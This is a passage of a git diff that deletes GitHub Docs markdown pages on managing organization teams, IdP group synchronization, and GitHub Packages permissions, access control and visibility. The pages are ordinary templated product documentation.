orange.](/assets/images/help/teams/team-member-check-box.png) -1. Above the list of team members, use the drop-down menu and click **Remove from team**. - - {% data reusables.organizations.bulk-edit-team-members %} diff --git a/content/organizations/organizing-members-into-teams/renaming-a-team.md b/content/organizations/organizing-members-into-teams/renaming-a-team.md deleted file mode 100644 index 040d57a8da5a..000000000000 --- a/content/organizations/organizing-members-into-teams/renaming-a-team.md +++ /dev/null @@ -1,22 +0,0 @@ ---- -title: Renaming a team -intro: Team maintainers and organization owners can edit the name and description of a team. -redirect_from: - - /articles/renaming-a-team - - /github/setting-up-and-managing-organizations-and-teams/renaming-a-team -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Organizations - - Teams ---- - -{% data reusables.profile.access_org %} -{% data reusables.user-settings.access_org %} -{% data reusables.organizations.specific_team %} -{% data reusables.organizations.team_settings %} -1. In the "Team name" field, type a new name for the team. -1. Optionally, in the "Description" field, type a new description of the team. -1. Click **Update**. diff --git a/content/organizations/organizing-members-into-teams/requesting-to-add-a-child-team.md b/content/organizations/organizing-members-into-teams/requesting-to-add-a-child-team.md deleted file mode 100644 index bacb415301d8..000000000000 --- a/content/organizations/organizing-members-into-teams/requesting-to-add-a-child-team.md +++ /dev/null @@ -1,40 +0,0 @@ ---- -title: Requesting to add a child team -intro: 'If you have maintainer permissions in a team, you can request to nest an existing team under your team in your organization’s hierarchy.' -redirect_from: - - /articles/requesting-to-add-a-child-team - - /github/setting-up-and-managing-organizations-and-teams/requesting-to-add-a-child-team -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Organizations - - Teams -shortTitle: Add a child team ---- - -When you request to add a team as a child, a request is sent to the maintainers of the child team. Once a maintainer of the child team approves your request, the child team is nested under the parent team in your organization's hierarchy. - -If you're an organization owner or you have team maintainer permissions in both the child team and the parent team, you can add the child team without requesting approval or change the child team's parent from the child team's settings page. For more information, see [AUTOTITLE](/organizations/organizing-members-into-teams/moving-a-team-in-your-organizations-hierarchy). - -{% data reusables.organizations.child-team-inherits-permissions %} - -{% data reusables.profile.access_org %} -{% data reusables.user-settings.access_org %} -{% data reusables.organizations.teams %} -1. In the list of teams, click the name of the team where you'd like to add the child team. -1. At the top of the team page, click **{% octicon "people" aria-hidden="true" %} Teams**. - - ![Screenshot of the header of a team's page. A tab, labeled with a people icon and "Teams", is outlined in dark orange.](/assets/images/help/teams/teams-tab-global-nav-update.png) - -1. Click **Add a team**. -1. Type the name of the team you'd like to add as a child team, and click the team in the results. -{% data reusables.repositories.changed-repository-access-permissions %} -1. To send a request to add the child team, click **Confirm changes**. - -## Further reading - -* [AUTOTITLE](/organizations/organizing-members-into-teams/about-teams) -* [AUTOTITLE](/organizations/organizing-members-into-teams/moving-a-team-in-your-organizations-hierarchy) -* [AUTOTITLE](/organizations/organizing-members-into-teams/requesting-to-add-or-change-a-parent-team) diff --git a/content/organizations/organizing-members-into-teams/requesting-to-add-or-change-a-parent-team.md b/content/organizations/organizing-members-into-teams/requesting-to-add-or-change-a-parent-team.md deleted file mode 100644 index 201fec97e0b6..000000000000 --- a/content/organizations/organizing-members-into-teams/requesting-to-add-or-change-a-parent-team.md +++ /dev/null @@ -1,37 +0,0 @@ ---- -title: Requesting to add or change a parent team -intro: 'If you have maintainer permissions in a team, you can request to nest your team under a parent team in your organization''s hierarchy.' -redirect_from: - - /articles/requesting-to-add-or-change-a-parent-team - - /github/setting-up-and-managing-organizations-and-teams/requesting-to-add-or-change-a-parent-team -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Organizations - - Teams -shortTitle: Add or change parent team ---- - -When you request to add or change your team's parent, a request is sent to the maintainers of the parent team. When a maintainer of the new parent team approves your request, your team is nested as a child team under the parent team in your organization's hierarchy. - -If you're an organization owner or you have team maintainer permissions in the child team and the parent team, you can add the parent team without requesting approval or change your team's parent from your team's settings page. For more information, see [AUTOTITLE](/organizations/organizing-members-into-teams/moving-a-team-in-your-organizations-hierarchy). - -{% data reusables.organizations.child-team-inherits-permissions %} - -{% data reusables.profile.access_org %} -{% data reusables.user-settings.access_org %} -{% data reusables.organizations.teams %} -1. In the list of teams, click the name of the team you'd like to nest under a parent. -{% data reusables.organizations.team_settings %} -1. Under "Parent team", select the **Select a parent team** dropdown menu and click the name of the new parent team. -1. Click **Save changes**. -{% data reusables.repositories.changed-repository-access-permissions %} -1. To send a request to add or change your team's parent, click **Confirm changes**. - -## Further reading - -* [AUTOTITLE](/organizations/organizing-members-into-teams/about-teams) -* [AUTOTITLE](/organizations/organizing-members-into-teams/moving-a-team-in-your-organizations-hierarchy) -* [AUTOTITLE](/organizations/organizing-members-into-teams/requesting-to-add-a-child-team) diff --git a/content/organizations/organizing-members-into-teams/setting-your-teams-profile-picture.md b/content/organizations/organizing-members-into-teams/setting-your-teams-profile-picture.md deleted file mode 100644 index a109d3918e30..000000000000 --- a/content/organizations/organizing-members-into-teams/setting-your-teams-profile-picture.md +++ /dev/null @@ -1,24 +0,0 @@ ---- -title: Setting your team's profile picture -intro: 'Team maintainers and organization owners can set a profile picture for a team, which is displayed on the team''s page.' -redirect_from: - - /articles/setting-your-team-s-profile-picture - - /articles/setting-your-teams-profile-picture - - /github/setting-up-and-managing-organizations-and-teams/setting-your-teams-profile-picture -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Organizations - - Teams -shortTitle: Team profile picture ---- -Unless you set a profile picture for a team, the team profile picture will match the organization's profile picture. - -{% data reusables.profile.access_org %} -{% data reusables.user-settings.access_org %} -{% data reusables.organizations.specific_team %} -{% data reusables.organizations.team_settings %} -1. Under "Profile picture", click **Upload new picture**, then select your desired profile picture. -1. Click and drag to crop the image as needed, then click **Set new team avatar**. diff --git a/content/organizations/organizing-members-into-teams/synchronizing-a-team-with-an-identity-provider-group.md b/content/organizations/organizing-members-into-teams/synchronizing-a-team-with-an-identity-provider-group.md deleted file mode 100644 index b7957cdfc8cd..000000000000 --- a/content/organizations/organizing-members-into-teams/synchronizing-a-team-with-an-identity-provider-group.md +++ /dev/null @@ -1,104 +0,0 @@ ---- -title: Synchronizing a team with an identity provider group -intro: 'You can synchronize a {% data variables.product.github %} team with a supported identity provider (IdP) group to automatically add and remove team members.' -redirect_from: - - /github/setting-up-and-managing-organizations-and-teams/synchronizing-a-team-with-an-identity-provider-group -permissions: 'Organization owners can synchronize a {% data variables.product.github %} team with an IdP group.' -versions: - ghec: '*' - ghes: '*' -topics: - - Organizations - - Teams -shortTitle: Synchronize with an IdP ---- - -{% data reusables.enterprise-accounts.emu-scim-note %} - -## About team synchronization - -{% data reusables.identity-and-permissions.about-team-sync %} {% ifversion ghec %}For more information, see [AUTOTITLE](/organizations/managing-saml-single-sign-on-for-your-organization/managing-team-synchronization-for-your-organization) and [AUTOTITLE](/admin/identity-and-access-management/managing-iam-for-your-enterprise/managing-team-synchronization-for-organizations-in-your-enterprise).{% endif %} - -{% ifversion ghec %}You can connect up to five IdP groups to a {% data variables.product.github %} team.{% endif %} You can assign an IdP group to multiple {% data variables.product.github %} teams. - -{% ifversion ghec %}Team synchronization does not support IdP groups with more than 5000 members.{% endif %} - -Once a {% data variables.product.prodname_dotcom %} team is connected to an IdP group, your IdP administrator must make team membership changes through the identity provider. You cannot manage team membership on {% data variables.product.github %}{% ifversion ghec %} or using the API{% endif %}. - -{% ifversion ghec %}{% data reusables.enterprise-accounts.team-sync-override %}{% endif %} - -{% ifversion team-sync-manage-org-invites %} -{% data reusables.identity-and-permissions.team-sync-org-invites %} For more information, see [AUTOTITLE](/organizations/managing-saml-single-sign-on-for-your-organization/managing-team-synchronization-for-your-organization#managing-whether-team-synchronization-can-invite-non-members-to-your-organization) and [AUTOTITLE](/admin/identity-and-access-management/using-saml-for-enterprise-iam/managing-team-synchronization-for-organizations-in-your-enterprise#managing-whether-team-synchronization-can-invite-non-members-to-organizations). -{% endif %} - -{% ifversion ghec %} -All team membership changes made through your IdP will appear in the audit log on {% data variables.product.github %} as changes made by the team synchronization bot. Team synchronization will fetch group information from your IdP at least once every hour, and reflect any changes in IdP group membership into {% data variables.product.github %}. -Connecting a team to an IdP group may remove some team members. For more information, see [Requirements for members of synchronized teams](#requirements-for-members-of-synchronized-teams). -{% endif %} - -Parent teams cannot synchronize with IdP groups. If the team you want to connect to an IdP group is a parent team, we recommend creating a new team or removing the nested relationships that make your team a parent team. For more information, see [AUTOTITLE](/organizations/organizing-members-into-teams/about-teams#nested-teams), [AUTOTITLE](/organizations/organizing-members-into-teams/creating-a-team), and [AUTOTITLE](/organizations/organizing-members-into-teams/moving-a-team-in-your-organizations-hierarchy). - -To manage repository access for any {% data variables.product.github %} team, including teams connected to an IdP group, you must make changes with {% data variables.product.github %}. For more information, see [AUTOTITLE](/organizations/organizing-members-into-teams/about-teams) and [AUTOTITLE](/organizations/managing-user-access-to-your-organizations-repositories/managing-repository-roles/managing-team-access-to-an-organization-repository). - -{% ifversion ghec %}You can also manage team synchronization with the API. For more information, see [AUTOTITLE](/rest/teams/team-sync).{% endif %} - -{% ifversion ghec %} - -## Requirements for members of synchronized teams - -After you connect a team to an IdP group, team synchronization will add each member of the IdP group to the corresponding team on {% data variables.product.github %} only if: - -{%- ifversion team-sync-manage-org-invites %} -* If team synchronization is not allowed to invite non-members to your organization, the person is already a member of the organization on {% data variables.product.github %}. -{%- endif %} -* The person has already logged in with their personal account on {% data variables.product.github %} and authenticated to the organization or enterprise account via SAML single sign-on at least once. -* The person's SSO identity is a member of the IdP group. - -Existing teams or group members who do not meet these criteria will be automatically removed from the team on {% data variables.product.github %} and lose access to repositories. Revoking a user's linked identity will also remove the user from any teams mapped to IdP groups. For more information, see [AUTOTITLE](/organizations/granting-access-to-your-organization-with-saml-single-sign-on/viewing-and-managing-a-members-saml-access-to-your-organization#viewing-and-revoking-a-linked-identity) and [AUTOTITLE](/enterprise-cloud@latest/admin/user-management/managing-users-in-your-enterprise/viewing-and-managing-a-users-saml-access-to-your-enterprise#viewing-and-revoking-a-linked-identity). - -A removed team member can be added back to a team automatically once they have authenticated to the organization or enterprise account using SSO and are moved to the connected IdP group. - -To avoid unintentionally removing team members, we recommend enforcing SAML SSO in your organization or enterprise account, creating new teams to synchronize membership data, and checking IdP group membership before synchronizing existing teams. For more information, see [AUTOTITLE](/organizations/managing-saml-single-sign-on-for-your-organization/enforcing-saml-single-sign-on-for-your-organization) and [AUTOTITLE](/enterprise-cloud@latest/admin/identity-and-access-management/using-saml-for-enterprise-iam/configuring-saml-single-sign-on-for-your-enterprise). - -{% endif %} - -## Prerequisites - -{% data reusables.identity-and-permissions.team-and-idp-group %} - -{% ifversion ghec %} -Before you can connect a {% data variables.product.github %} team with an IdP group, an organization or enterprise owner must enable team synchronization for your organization or enterprise account. For more information, see [AUTOTITLE](/organizations/managing-saml-single-sign-on-for-your-organization/managing-team-synchronization-for-your-organization) and [AUTOTITLE](/enterprise-cloud@latest/admin/identity-and-access-management/using-saml-for-enterprise-iam/managing-team-synchronization-for-organizations-in-your-enterprise). - -To avoid unintentionally removing team members, visit the administrative portal for your IdP and confirm that each current team member is also in the IdP groups that you want to connect to this team. If you don't have this access to your identity provider, you can reach out to your IdP administrator. - -You must authenticate using SAML SSO. For more information, see [AUTOTITLE](/authentication/authenticating-with-saml-single-sign-on). - -{% elsif ghes %} -You must configure user provisioning with SCIM for {% data variables.location.product_location %}. For more information, see [AUTOTITLE](/admin/identity-and-access-management/using-saml-for-enterprise-iam/configuring-user-provisioning-with-scim-for-your-enterprise). - -{% data reusables.scim.ghes-beta-note %} -{% endif %} - -## Connecting an IdP group to a team - -When you connect an IdP group to a {% data variables.product.github %} team, all users in the group are automatically added to the team. - -{% data reusables.profile.access_org %} -{% data reusables.user-settings.access_org %} -{% data reusables.organizations.specific_team %} -{% data reusables.organizations.team_settings %} -{%- ifversion ghec %} -1. Under "Identity Provider Groups", select the **Select Groups** dropdown menu, and click up to 5 identity provider groups. -{%- endif %} -1. Click **Save changes**. - -## Disconnecting an IdP group from a team - -{% data reusables.profile.access_org %} -{% data reusables.user-settings.access_org %} -{% data reusables.organizations.specific_team %} -{% data reusables.organizations.team_settings %} -{%- ifversion ghec %} -1. Under "Identity Provider Groups", to the right of the IdP group you want to disconnect, click {% octicon "x" aria-label="Remove group" %}. -{%- endif %} -1. Click **Save changes**. diff --git a/content/packages/index.md b/content/packages/index.md deleted file mode 100644 index 1d364c104fdc..000000000000 --- a/content/packages/index.md +++ /dev/null @@ -1,41 +0,0 @@ ---- -title: '{% data variables.product.prodname_registry %} documentation' -shortTitle: '{% data variables.product.prodname_registry %}' -intro: 'Learn to safely publish and consume packages, store your packages alongside your code, and share your packages privately with your team or publicly with the open source community. You can also automate your packages with {% data variables.product.prodname_actions %}.' -introLinks: - quickstart: /packages/quickstart - reference: /packages/learn-github-packages -featuredLinks: - startHere: - - /packages/learn-github-packages - - /packages/managing-github-packages-using-github-actions-workflows - - /packages/learn-github-packages/installing-a-package - popular: - - /packages/working-with-a-github-packages-registry/working-with-the-npm-registry - - '{% ifversion ghes %}/packages/working-with-a-github-packages-registry/migrating-to-the-container-registry-from-the-docker-registry{% endif %}' - - /packages/learn-github-packages - - /packages/working-with-a-github-packages-registry/working-with-the-apache-maven-registry - guideCards: - - '{% ifversion ghes %}/packages/working-with-a-github-packages-registry/migrating-to-the-container-registry-from-the-docker-registry{% endif %}' - - /packages/working-with-a-github-packages-registry/working-with-the-container-registry - - '{% ifversion packages-npm-v2 %}/packages/working-with-a-github-packages-registry/working-with-the-npm-registry{% endif %}' - - /packages/working-with-a-github-packages-registry/working-with-the-rubygems-registry -changelog: - label: packages - prefix: 'Packages: ' -redirect_from: - - /github/managing-packages-with-github-packages - - /categories/managing-packages-with-github-package-registry - - /github/managing-packages-with-github-package-registry -layout: product-landing -versions: - fpt: '*' - ghes: '*' - ghec: '*' -children: - - /quickstart - - /learn-github-packages - - /working-with-a-github-packages-registry - - /managing-github-packages-using-github-actions-workflows ---- - diff --git a/content/packages/learn-github-packages/about-permissions-for-github-packages.md b/content/packages/learn-github-packages/about-permissions-for-github-packages.md deleted file mode 100644 index 4bd6584c70fa..000000000000 --- a/content/packages/learn-github-packages/about-permissions-for-github-packages.md +++ /dev/null @@ -1,118 +0,0 @@ ---- -title: About permissions for GitHub Packages -intro: Learn about how to manage permissions for your packages. -product: '{% data reusables.gated-features.packages %}' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -shortTitle: About permissions ---- - -The permissions for packages can be scoped either to a user or an organization or to a repository. - -## Granular permissions for user/organization-scoped packages - -Packages with granular permissions are scoped to a personal account or organization. You can change the access control and visibility of the package separately from a repository that is connected (or linked) to a package. - -The following {% data variables.product.prodname_registry %} registries support granular permissions. - -* {% data variables.product.prodname_container_registry %} -{%- ifversion packages-npm-v2 %} -* npm registry -{%- endif %} -{%- ifversion packages-nuget-v2 %} -* NuGet registry -{%- endif %} -{%- ifversion packages-rubygems-v2 %} -* RubyGems registry -{%- endif %} - -## Permissions for repository-scoped packages - -A repository-scoped package inherits the permissions and visibility of the repository in which the package is published. You can find a package scoped to a repository by going to the main page of the repository and clicking the **Packages** link to the right of the page. {% ifversion fpt or ghec %}For more information, see [AUTOTITLE](/packages/learn-github-packages/connecting-a-repository-to-a-package).{% endif %} - -The following {% data variables.product.prodname_registry %} registries **only** support repository-scoped permissions. - -{%- ifversion not fpt or ghec %} -* Docker registry (`docker.pkg.github.com`) -{%- endif %} -{%- ifversion packages-npm-v2 %}{% else %} -* npm registry -{%- endif %} -* Apache Maven registry -* Gradle registry -{%- ifversion packages-nuget-v2 %}{% else %} -* NuGet registry -{%- endif %} -{%- ifversion packages-rubygems-v2 %}{% else %} -* RubyGems registry -{%- endif %} - -For {% ifversion ghes %}the {% data variables.product.prodname_container_registry %}{% else %}other registries{% endif %}, you can choose to allow packages to be scoped to a user or an organization, or linked to a repository. {% ifversion ghes %}For information about migration to the {% data variables.product.prodname_container_registry %}, see [AUTOTITLE](/packages/working-with-a-github-packages-registry/migrating-to-the-container-registry-from-the-docker-registry).{% endif %} - -{% data reusables.package_registry.maven-package-visibility %} - -## Visibility and access permissions for packages - -{% data reusables.package_registry.visibility-and-access-permissions %} - -For more information, see [AUTOTITLE](/packages/learn-github-packages/configuring-a-packages-access-control-and-visibility). - -## About scopes and permissions for package registries - -{% data reusables.package_registry.packages-classic-pat-only %} - -To use or manage a package hosted by a package registry, you must use a {% data variables.product.pat_v1 %} with the appropriate scope, and your personal account must have appropriate permissions. - -For example: -* To download and install packages from a repository, your {% data variables.product.pat_v1 %} must have the `read:packages` scope, and your user account must have read permission. -* To delete a package, your {% data variables.product.pat_v1 %} must at least have the `delete:packages` and `read:packages` scope. For more information, see [AUTOTITLE](/packages/learn-github-packages/deleting-and-restoring-a-package). - -| Scope | Description | Required permission | -| --- | --- | --- | -| `read:packages` | Download and install packages from {% data variables.product.prodname_registry %} | read | -| `write:packages` | Upload and publish packages to {% data variables.product.prodname_registry %} | write | -| `delete:packages` | Delete packages from {% data variables.product.prodname_registry %} | admin | - -{% data reusables.package_registry.delete-with-github-token-using-api-beta %} - -When you create a {% data variables.product.prodname_actions %} workflow, you can use the `GITHUB_TOKEN` to publish, install, delete, and restore packages in {% data variables.product.prodname_registry %} without needing to store and manage a {% data variables.product.pat_generic %}. - -For more information, see:{% ifversion fpt or ghec %} -* [AUTOTITLE](/packages/learn-github-packages/configuring-a-packages-access-control-and-visibility){% endif %} -* [AUTOTITLE](/packages/managing-github-packages-using-github-actions-workflows/publishing-and-installing-a-package-with-github-actions) -* [AUTOTITLE](/authentication/keeping-your-account-and-data-secure/creating-a-personal-access-token) -* [AUTOTITLE](/apps/oauth-apps/building-oauth-apps/scopes-for-oauth-apps#available-scopes) - -## About repository transfers - -You can transfer a repository to another personal account or organization. For more information, see [AUTOTITLE](/repositories/creating-and-managing-repositories/transferring-a-repository). - -When you transfer a repository, {% data variables.product.prodname_dotcom %} may transfer the packages associated with the repository, depending on the registry the packages belong to. - -* For registries that support granular permissions, packages are scoped to a personal account or organization, and the account associated with the package does not change when you transfer a repository. If you have linked a package to a repository, the link is removed when you transfer the repository to another user. Any {% ifversion fpt or ghec %}codespaces or {% endif %}{% data variables.product.prodname_actions %} workflows associated with the repository will lose access to the package. If the package inherited its access permissions from the linked repository, users will lose access to the package. For the list of these registries, see [Granular permissions for user/organization-scoped packages](#granular-permissions-for-userorganization-scoped-packages) above. -* For registries that only support repository-scoped permissions, packages are published directly to repositories, and {% data variables.product.prodname_dotcom %} transfers the packages associated with a repository as part of the repository transfer. All billable usage associated with the packages will subsequently be billed to the new owner of the repository. If the previous repository owner is removed as a collaborator on the repository, they may no longer be able to access the packages associated with the repository. For the list of these registries, see [Permissions for repository-scoped packages](#permissions-for-repository-scoped-packages) above. - -## Maintaining access to packages in {% data variables.product.prodname_actions %} workflows - -To ensure your workflows will maintain access to your packages, ensure that you're using the right access token in your workflow and that you've enabled {% data variables.product.prodname_actions %} access to your package. - -For more conceptual background on {% data variables.product.prodname_actions %} or examples of using packages in workflows, see [AUTOTITLE](/packages/managing-github-packages-using-github-actions-workflows). - -### Access tokens - -{% data reusables.package_registry.delete-with-github-token-using-api-beta %} - -* To publish, install, delete, and restore packages associated with the workflow repository, use `GITHUB_TOKEN`. -* To install packages associated with other private repositories that `GITHUB_TOKEN` can't access, use a {% data variables.product.pat_v1 %} - -For more information about `GITHUB_TOKEN` used in {% data variables.product.prodname_actions %} workflows, see [AUTOTITLE](/actions/security-guides/automatic-token-authentication#using-the-github_token-in-a-workflow). - -{% ifversion fpt or ghec %} - -### {% data variables.product.prodname_actions %} access for packages with granular permissions - -To ensure your workflows have access to packages stored in registries that support granular permissions, you must give {% data variables.product.prodname_actions %} access to the repositories where your workflow is run. You can find this setting on your package's settings page. For more information, see [AUTOTITLE](/packages/learn-github-packages/configuring-a-packages-access-control-and-visibility#ensuring-workflow-access-to-your-package). - -{% endif %} diff --git a/content/packages/learn-github-packages/configuring-a-packages-access-control-and-visibility.md b/content/packages/learn-github-packages/configuring-a-packages-access-control-and-visibility.md deleted file mode 100644 index db0af0b7be81..000000000000 --- a/content/packages/learn-github-packages/configuring-a-packages-access-control-and-visibility.md +++ /dev/null @@ -1,211 +0,0 @@ ---- -title: Configuring a package's access control and visibility -intro: 'Choose who has read, write, or admin access to your package and the visibility of your packages on {% data variables.product.prodname_dotcom %}.' -product: '{% data reusables.gated-features.packages %}' -redirect_from: - - /packages/managing-container-images-with-github-container-registry/configuring-access-control-and-visibility-for-container-images - - /packages/guides/configuring-access-control-and-visibility-for-container-images -versions: - fpt: '*' - ghec: '*' - ghes: '*' -shortTitle: Access control & visibility ---- -{% data reusables.package_registry.container-registry-ghes-beta %} - -A package can inherit its visibility and access permissions from a repository, or, for registries that support granular permissions, you can set the visibility and permissions of the package separately from a repository. - -For the list of registries that support granular permissions, and for more information about permissions for packages, packages-related scopes for PATs, or managing permissions for your {% data variables.product.prodname_actions %} workflows, see [AUTOTITLE](/packages/learn-github-packages/about-permissions-for-github-packages). - -## About inheritance of access permissions - -In registries that support granular permissions, packages are scoped to a personal account or organization. In these registries, you can publish a package without linking the package to a repository, then determine who can access the package by setting access permissions and visibility in the package's settings. - -{% ifversion packages-inherit-permissions %}By default, if you publish a package that is linked to a repository, the package automatically inherits the access permissions (but not the visibility) of the linked repository. For example, a user who has read access to the linked repository will also have read access to the package. When a package automatically inherits access permissions, {% data variables.product.prodname_actions %} workflows in the linked repository also automatically get access to the package. - -A package only inherits the access permissions of a linked repository automatically if you link the repository to the package before you publish the package, such as by adding the `org.opencontainers.image.source` Docker label to a container image. If you connect a published package to a repository from the package's settings page, the package will retain its existing access permissions, and will not inherit the access permissions of the repository unless you explicitly select this option. Additionally, organizations can disable automatic inheritance of access permissions for all new packages scoped to their organization. For more information, see [Disabling automatic inheritance of access permissions in an organization](#disabling-automatic-inheritance-of-access-permissions-in-an-organization) below. - -When a package inherits permissions from a repository, to grant or remove access to your package, you must configure the permissions settings of the linked repository. If you want to set a package's access settings separately from the repository linked to the package, you must remove the inherited permissions from the package{% else %}You can choose to have a package inherit the access permissions of a linked repository{% endif %}. For more information, see [Selecting whether a package inherits permissions from a repository](#selecting-whether-a-package-inherits-permissions-from-a-repository) below. - -If you publish a package in a registry that only supports repository-scoped permissions, the package is always linked to a repository, and always inherits the permissions of the linked repository. - -## About setting visibility and access permissions for packages - -{% data reusables.package_registry.visibility-and-access-permissions %} - -## Configuring access to packages for your personal account - -If you have admin permissions to a package that's scoped to a personal account, you can assign read, write, or admin roles to other users. For more information about these permission roles, see [About inheritance of access permissions](#about-inheritance-of-access-permissions). - -If your package is private or internal and scoped to an organization, then you can only give access to other organization members or teams. - -{% data reusables.package_registry.package-settings-option %} -{% data reusables.package_registry.package-settings-manage-access-people %} Teams cannot be given access to a package that is scoped to a personal account. -{% data reusables.package_registry.package-settings-user-access %} - -The selected users will automatically be given access and don't need to accept an invitation first. - -## Configuring access to packages for an organization - -If you have admin permissions to a package that is scoped to an organization, you can assign read, write, or admin roles to other users and teams. For more information about these permission roles, see [About inheritance of access permissions](#about-inheritance-of-access-permissions). - -If your package is private or internal and scoped to an organization, then you can only give access to other organization members or teams. - -{% data reusables.package_registry.package-settings-from-org-level %} -{% data reusables.package_registry.package-settings-option %} -{% data reusables.package_registry.package-settings-manage-access-people %} You can also enter a team name from the organization to give all team members access. -{% data reusables.package_registry.package-settings-user-access %} - -The selected users or teams will automatically be given access and don't need to accept an invitation first. - -## Selecting whether a package inherits permissions from a repository - -{% ifversion packages-inherit-permissions %}By default, if you publish a package that is linked to a repository, the package inherits{% else %}If you link a package to a repository, you can choose whether or not the package inherits{% endif %} the access permissions of the linked repository. We recommend you let packages inherit their permissions from a repository, because this simplifies the process of managing access to a package. - -When a package inherits permissions from a repository, to grant or remove access to your package, you must configure the permissions of the linked repository. - -{% ifversion packages-inherit-permissions %}If you want to configure a package's access settings on a granular level, separately from the linked repository, you must remove the inherited permissions from the package.{% endif %} - -> [!NOTE] -> If you change how a package gets its access permissions, any existing permissions for the package are overwritten. - -### Selecting the inheritance setting for packages scoped to your personal account - -{% data reusables.package_registry.package-settings-from-user-level %} -{% data reusables.package_registry.package-settings-option %} -{% data reusables.package_registry.disable-auto-inheritance-step %} - -### Selecting the inheritance setting for packages scoped to an organization - -{% ifversion packages-inherit-permissions %} - -> [!TIP] -> If you're the owner of an organization, you can prevent all new packages scoped to your organization from automatically inheriting permissions from a linked repository. For more information, see [Disabling automatic inheritance of access permissions in an organization](#disabling-automatic-inheritance-of-access-permissions-in-an-organization) below. - -{% endif %} - -{% data reusables.package_registry.package-settings-from-org-level %} -{% data reusables.package_registry.package-settings-option %} -{% data reusables.package_registry.disable-auto-inheritance-step %} - -{% ifversion packages-inherit-permissions %} - -## Disabling automatic inheritance of access permissions in an organization - -By default, if you publish a package that is linked to a repository, the package automatically inherits the access permissions of the linked repository. As an organization owner, you can disable automatic inheritance for all packages scoped to your organization. - -If you disable automatic inheritance of access permissions, new packages scoped to your organization will not automatically inherit the permissions of a linked repository. However, anyone with admin permissions to a package in your organization will be able to enable or disable inheritance of permissions for that package. - -{% data reusables.profile.access_org %} -{% data reusables.profile.org_settings %} -1. In the sidebar, in the "Code, planning, and automation" section, click **{% octicon "package" aria-hidden="true" %} Packages**. -1. Under "Default Package Settings", deselect **Inherit access from source repository**. -1. Click **Save**. - -{% endif %} - -## Ensuring workflow access to your package - -For packages scoped to a personal account or an organization, to ensure that a {% data variables.product.prodname_actions %} workflow has access to your package, you must give explicit access to the repository where the workflow is stored. - -The specified repository does not need to be the repository where the source code for the package is kept. You can give multiple repositories workflow access to a package. - -{% ifversion packages-inherit-permissions %} -If you publish a package that is linked to a repository, {% data variables.product.prodname_actions %} workflows in the linked repository automatically get access to the package, unless your organization has disabled the automatic inheritance of access permissions. For more information, see [About inheritance of access permissions](#about-inheritance-of-access-permissions) above. -{% endif %} - -> [!NOTE] -> * Syncing your package with a repository {% data variables.package_registry.package-settings-actions-access-menu %} is different than connecting your package to a repository. For more information about linking a repository to your package, see [AUTOTITLE](/packages/learn-github-packages/connecting-a-repository-to-a-package). -> * You can choose to limit permissions to workflow jobs usings the `permissions` key and `packages` scope. For more information, see [AUTOTITLE](/actions/using-jobs/assigning-permissions-to-jobs). -> * {% data reusables.package_registry.public-forks-private-packages %} - -### {% data variables.product.prodname_actions %} access for packages scoped to personal accounts - -{% data reusables.package_registry.package-settings-option %} -{% data reusables.package_registry.package-settings-actions-access %} -1. To ensure your workflow has access to your package, you must add the repository where the workflow is stored. {% data reusables.package_registry.package-settings-add-repo %} -{% data reusables.package_registry.package-settings-actions-access-role-repo %} - -To further customize access to your package, see [Configuring access to packages for your personal account](#configuring-access-to-packages-for-your-personal-account). - -### {% data variables.product.prodname_actions %} access for packages scoped to organizations - -{% data reusables.package_registry.package-settings-from-org-level %} -{% data reusables.package_registry.package-settings-option %} -{% data reusables.package_registry.package-settings-actions-access %} -1. {% data reusables.package_registry.package-settings-add-repo %} -{% data reusables.package_registry.package-settings-actions-access-role-repo %} - -To further customize access to your package, see [Configuring access to packages for an organization](#configuring-access-to-packages-for-an-organization). - -{% ifversion fpt or ghec %} - -## Ensuring {% data variables.product.prodname_github_codespaces %} access to your package - -By default, a codespace can seamlessly access certain packages in registries that support granular permissions, such as packages published in the same repository with the **Inherit access** option selected. For the list of {% data variables.product.prodname_registry %} registries that support granular permissions and seamless {% data variables.product.prodname_github_codespaces %} access, see [AUTOTITLE](/packages/learn-github-packages/about-permissions-for-github-packages#granular-permissions-for-userorganization-scoped-packages). - -Otherwise, to ensure that a codespace has access to your package, you must grant access to the repository where the codespace is being launched. - -The specified repository does not need to be the repository where the source code for the package is kept. You can give codespaces in multiple repositories access to a package. - -Once you've selected the package you're interested in sharing with codespaces in a repository, you can grant that repo access. - -{% data reusables.package_registry.package-settings-option %} - -1. Under "Manage Codespaces access", click **Add repository**. - - ![Screenshot of the "Manage Codespaces access" section of the package settings page. The "Add repository" button is highlighted with an orange outline.](/assets/images/help/package-registry/manage-codespaces-access-blank.png) - -1. Search for the repository you want to add. - -1. Repeat for any additional repositories you would like to allow access. - -1. If the codespaces for a repository no longer need access to a package, you can remove access. Click **{% octicon "trash" aria-label="remove access to repository from this package" %}**. - - ![Screenshot of the "Manage Codespaces access" section of the package settings page. The trash icon is highlighted with an orange outline.](/assets/images/help/package-registry/manage-codespaces-access-item.png) - -{% endif %} - -## Configuring visibility of packages for your personal account - -When you first publish a package that is scoped to your personal account, the default visibility is private and only you can see the package. You can modify a private or public package's access by changing the access settings. - -{% data reusables.package_registry.package-settings-option %} -1. At the bottom of the page, under "Danger Zone", click **Change visibility**. -1. Select a visibility setting: - * To make the package visible to anyone, select **Public**. - - > [!WARNING] - > Once you make a package public, you cannot make it private again. - - * To make the package visible to a custom selection of people, select **Private**. -1. To confirm, type the name of the package, then click **I understand the consequences, change package visibility**. - -## Package creation visibility for organization members - -For registries that support granular permissions, you can choose the visibility of packages that organization members can publish by default. For the list of these registries, see [AUTOTITLE](/packages/learn-github-packages/about-permissions-for-github-packages#granular-permissions-for-userorganization-scoped-packages). - -{% data reusables.profile.access_org %} -{% data reusables.profile.org_settings %} -1. On the left, click **Packages**. -1. Under "Package Creation", choose whether you want to enable the creation of public, private, or internal packages. - * To enable organization members to create public packages, click **Public**. - * To enable organization members to create private packages that are only visible to other organization members, click **Private**. You can further customize the visibility of private packages. - * To enable organization members to create internal packages that are visible to all organization members, click **Internal**. If the organization belongs to an enterprise, the packages will be visible to all enterprise members. - - {% data reusables.package_registry.maven-package-visibility %} - -## Configuring visibility of packages for an organization - -When you first publish a package, the default visibility is private and only you can see the package. You can grant users or teams different access roles for your package through the access settings. Once you make your package public, you cannot make your package private again. - -{% 